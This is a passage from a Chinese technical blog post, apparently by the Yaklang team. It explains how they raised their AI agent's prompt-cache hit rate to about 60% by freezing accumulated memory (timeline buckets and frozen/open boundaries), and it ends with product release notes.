system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">四、问题三：累积记忆的滑动窗口困境</span></strong></p></div></div></div><p style="margin: 8px;" data-mpa-action-id="mrlpyvt91nqx" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpyvszs23"><span leaf="">前两个问题解决了&#34;静态成分&#34;和&#34;成分边界&#34;的问题，但系统中最大的不稳定因素还没处理：</span></span><strong mpa-font-style="mrlpyvsz57k" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">累积记忆</span></span></strong><span style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpyvsz19pz"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">4.1 困境：Timeline 每步都在增长</span></strong></span></p></div></div></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpzfqc1awi"><span leaf="">我们的系统有四层记忆在 Prompt 里实时渲染。其中 Timeline 时间线是最核心的：它记录了 Agent 每一步的操作和观察结果，一次任务可能积累几百到几千条记录。每跑一步，Timeline 就追加一条新记录——这意味着如果 Timeline 直接塞在 Prompt 里，前缀每轮都在变，缓存必 miss。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrlpzfqc17bz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Session Evidence（会话级证据）也有类似的特性：历轮工具执行后被显式写入的&#34;已确认观测&#34;，会随着任务推进不断累积。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlpzfqc1tz3"><span leaf="">这些记忆不可能简单丢弃——它们是 Agent 理解&#34;已经做了什么&#34;的事实依据。但也不能让它们无节制地击穿缓存。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">4.2 解法：Timeline 分桶 + Frozen/Open 边界</span></strong></span></p></div></div></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlq03vy1ujo"><span leaf="">关键观察是：</span></span><span mpa-font-style="mrlq03vy1nvk" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">Timeline 的旧条目一旦写入就不再变化，只有最新写入的条目还在增长</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mrlq03vy21gd" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">我们利用 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">GroupByMinutes</span></span></code></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlq03vy9jw"><span leaf=""> 机制把 Timeline 按绝对时间分桶（默认 3 分钟一个桶）：</span></span></p><table style="border: none;border-collapse: collapse;min-width: 75px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">桶类型</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">含义</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">字节稳定性</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Reducer block</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">旧条目的压缩摘要</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">永久字节稳定</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Frozen interval block</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">已封闭的时间桶（不再追加）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">永久字节稳定</span></p></td></tr><tr style="height:39px;"><td><p style="margin-left: 0px;margin-right: 0px;margin-bottom: 8px;line-height: 1.6em;text-align: left;text-indent: 0px;"><strong><span leaf="" mpa-font-style="mrn8g3gr16w2" style="font-size: 13px;" data-mpa-action-id="mrn8g3h451s" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(253, 128, 9);">末尾 Open interval block</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">当前还在写入的桶</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">会变</span></p></td></tr></tbody></table><p nodeleaf="" data-mpa-action-id="mrlqcflzjhh" data-pm-slice="0 0 []" style="margin-bottom: 8px;padding: 0.5em;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.158984375" data-type="png" data-w="2560" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="5884" data-height="937" data-imgfileid="100046341" src="https://wechat2rss.xlab.app/img-proxy/?k=a27c7039&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GzMSicqsyfwQlw3GlTeknMpsupicv98dQuN0PWyjHBUXCFyiccgpjia0hFoSj705ib3VoibQ5hgP3P21WI2P0icqPR3V58sOTslibJ6dc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这样，每次调用时 frozen 段的字节是稳定的（旧条目不变），只有 open 段在变——缓存边界精确地落在&#34;最后一个还在变化的桶&#34;之前。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">4.3 依托 Timeline 的冻结时间线，统一其他记忆的冻结标准</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Timeline 分桶解决了 Timeline 自身的缓存问题，但系统里还有其他累积记忆——Session Evidence（会话级证据）和 Session Artifacts（工作区产物）——它们同样在每轮增长，同样会击穿缓存。如果每种记忆各自维护一套冻结逻辑，不仅工程复杂，而且各自冻结的时机不同，frozen 段的边界会对不齐，反而互相破坏。</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">我们的做法是：</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">以 Timeline 的冻结时间点作为全局统一基准，让所有记忆内容蹭同一个时间点冻结</span></span></strong><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">具体来说，我们设计了冻结相关内容有一个统一的入口。它先渲染 Timeline 的 frozen/open 分桶，从中提取出一个 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">FrozenTimeUnix</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——即&#34;最后一个已封闭桶的时间戳上限&#34;。然后把这个时间戳传给 Session Evidence 和 Session Artifacts 的渲染函数：</span></span></p><pre style="white-space:pre-wrap;"><code data-lark-language="Go" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__keyword">func</span></span><span class="code-snippet__function"><span class="code-snippet__title">BuildPromptFrozenOpenMaterials</span></span><span class="code-snippet__function"><span class="code-snippet__params">(config *Config, openNonce ...</span></span><span class="code-snippet__function"><span class="code-snippet__params"><span class="code-snippet__type">string</span></span></span><span class="code-snippet__function"><span class="code-snippet__params">)</span></span> PromptFrozenOpenMaterials {</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// 1. Timeline 先分桶，拿到冻结时间点</span></span></code><br/><br/><code><span leaf="">    timelineBlocks := RenderTimelineFrozenOpen(config.GetTimeline())</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// 2. 用同一个冻结时间点渲染 Artifacts</span></span></code><br/><br/><code><span leaf="">    artifactBlocks := RenderSessionArtifactsFrozenOpen(config, timelineBlocks.FrozenTimeUnix)</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__comment">// 3. 用同一个冻结时间点渲染 Evidence</span></span></code><br/><br/><code><span leaf="">    evidenceBlocks := config.GetSessionPromptState().</span></code><br/><br/><code><span leaf="">        GetSessionEvidenceFrozenOpenBlocks(timelineBlocks.FrozenTimeUnix, nonce)</span></code><br/><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span> PromptFrozenOpenMaterials{</span></code><br/><br/><code><span leaf="">        TimelineFrozen:         timelineBlocks.Frozen,</span></code><br/><br/><code><span leaf="">        TimelineOpen:           timelineBlocks.Open,</span></code><br/><br/><code><span leaf="">        TimelineFrozenTimeUnix: timelineBlocks.FrozenTimeUnix,</span></code><br/><br/><code><span leaf="">        SessionArtifactsFrozen: artifactBlocks.Frozen,</span></code><br/><br/><code><span leaf="">        SessionArtifactsOpen:   artifactBlocks.Open,</span></code><br/><br/><code><span leaf="">        SessionEvidenceFrozen:  evidenceBlocks.Frozen,</span></code><br/><br/><code><span leaf="">        SessionEvidenceOpen:    evidenceBlocks.Open,</span></code><br/><br/><code><span leaf="">        ...</span></code><br/><br/><code><span leaf="">    }</span></code><br/><br/><code><span leaf="">}</span></code><br/><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-mpa-action-id="mrlq2ww82qj" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlq2wvy1b6g"><span leaf="">这样做的好处是：当 Timeline 的一个时间桶从未封闭变成已封闭（从 open 变成 frozen）时，</span></span><span mpa-font-style="mrlq2wvykrz" style="font-size: 15px;"><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">FrozenTimeUnix</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 向前推进，Session Evidence 和 Session Artifacts 也同步把此时点之前的内容冻结。三类记忆的 frozen/open 边界在</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">同一轮调用中完全对齐</span></span></strong></span><span style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlq2wvy1rqv"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">，</span></span></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlq2wvy1rqv"><span leaf="">frozen 段作为一个整体进入缓存前缀，不会出现&#34;Evidence 冻结了但 Timeline 还没冻结&#34;的错位。</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mrlq31tojzd" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.592578125" data-type="png" data-w="2560" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="4513" data-height="2675" data-imgfileid="100046345" src="https://wechat2rss.xlab.app/img-proxy/?k=3207e20c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FqFH7z779GRUgeXaoH0NNuD7cOTlg9qicwVjrPZZaCldJOpFxtOH08rKTOCATA9Ulqnz6DIUuOldqlsia2Aic0sVBaHXyoLrCsWE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;" data-mpa-action-id="mrlq3hz818ig" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrlq3hyz2jh"><span leaf="">这一步的效果是：全量命中率提升到</span></span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span mpa-font-style="mrlq3hyzjyl"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">~60%。</span></span></span></strong></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">总结</span></span></p></div></div></div><p data-pm-slice="0 0 []" style="margin: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;">整个过程解决了三个层面的问题，命中率从 1% 一路提升到 60%：</span></p><table style="border:none;border-collapse:collapse;min-width:219px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">阶段</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">解决的问题</span></p></td><td data-colwidth="144" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">关键动作</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">命中率</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">修复单体成分</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">Nonce 随机、时间戳抖动等&#34;内容不变但字节变&#34;的隐患</span></p></td><td data-colwidth="144" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">稳定派生 Nonce、移除时间戳</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">1% → 6%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">分段分层</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">稳定内容和易变内容混排，前缀被第一个变化字节击穿</span></p></td><td data-colwidth="144" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">high-static 收整（迁出 caller-specific 字段 + 补足 1500 token）、semi/dynamic 拆分、Hijacker 按边界切割并打 cache_control</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">6% → ~25%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">累积记忆冻结</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">Timeline / Evidence / Artifacts 每轮增长，前缀永远在变</span></p></td><td data-colwidth="144" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">Timeline 分桶 + Frozen/Open 边界、以 FrozenTimeUnix 统一三类记忆的冻结时机、Frozen Partition 冻结 plan 产物</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p style="text-align: left;"><span leaf="">~25% → ~60%</span></p></td></tr></tbody></table><p data-pm-slice="0 0 []" style="margin: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;">最终效果：命中 token 按 input 单价的 10% 计费，60% 命中率意味着</span><strong style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrn83d63v4w"><span leaf="" style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;"><span textstyle="" style="color: rgb(253, 128, 9);">token 成本下降约 50-60%</span></span></strong><span style="line-height: 1.6em;font-weight: bold;letter-spacing: 1px;font-size: 15px;"><span style="color: rgb(253, 128, 9);font-size: 15px;" mpa-font-style="mrn83d6330b"><span leaf="">。</span></span></span></p><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-pm-slice="3 5 []"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">更新记录 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p><span leaf="">Yakit 1.4.8-0717</span></p><p><span leaf="">1. 修复 HTTPFlow 表格加载慢的问题</span></p><p><span leaf="">2. 修复 WebFuzzer hex 渲染值不一致问题</span></p><p><span leaf="">3. AI Agent 工具卡片展示和布局优化，失败卡片样式优化</span></p><p><span leaf="">4. 任务/子 Agent 任务定位高亮复用化与样式优化</span></p><p><span leaf="">5. 插件 Tab 新增历史记录，插件执行结果优化</span></p><p><span leaf="">6. YakitEditor 右键菜单支持打开/关闭二进制组件</span></p><p><span leaf="">7. OpenAPI 文档解析新增进度显示与取消功能</span></p><p><span leaf="">8. 修复 IM 机器人删除按钮失效</span></p><p><span leaf="">9. 连接页面支持翻译，导航栏导入资源文案改为导入插件/流量</span></p><p><span leaf="">10. 字典/代理/热加载管理合并为资源管理</span></p><p><span leaf="">11. Agent 增加对话模式选择，新增 Goal 和 Multi-Agent</span></p><p><span leaf="">12. Yak Runner 右侧 AI 改代码优化，增加片段更改</span></p><p><span leaf="">Memfit  v11.0.3-0717</span></p><p><span leaf="">1. AI Agent 工具卡片展示和布局优化，失败卡片样式优化</span></p><p><span leaf="">2. 任务/子Agent 任务定位高亮复用化与样式优化</span></p><p><span leaf="">3. 优化底层数据逻辑</span></p><p><span leaf="">4. Agent 增加对话模式选择，新增 Goal 和 Multi-Agent</span></p><p><span leaf="">Yaklang v 1.4.8-beta5</span></p><p><span leaf="">1. 新增 MCP 工具集(chaos maker、fingerprint、http builder 等)</span></p><p><span leaf="">2. 修复大型项目 SyntaxFlow 扫描的内存占用与卡死问题</span></p><p><span leaf="">3. 新增代码审计子智能体支持,增强 AI ReAct 循环与工具调用能力</span></p><p><span leaf="">4. 新增 AI 工具名称双语支持</span></p><p><span leaf="">5. 增强 WebSocket 错误处理与转发能力</span></p><p><span leaf="">6. 修复 CVE 查询响应分页为空的问题</span></p><p><span leaf="">7. 新增 SyntaxFlow 规则</span></p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 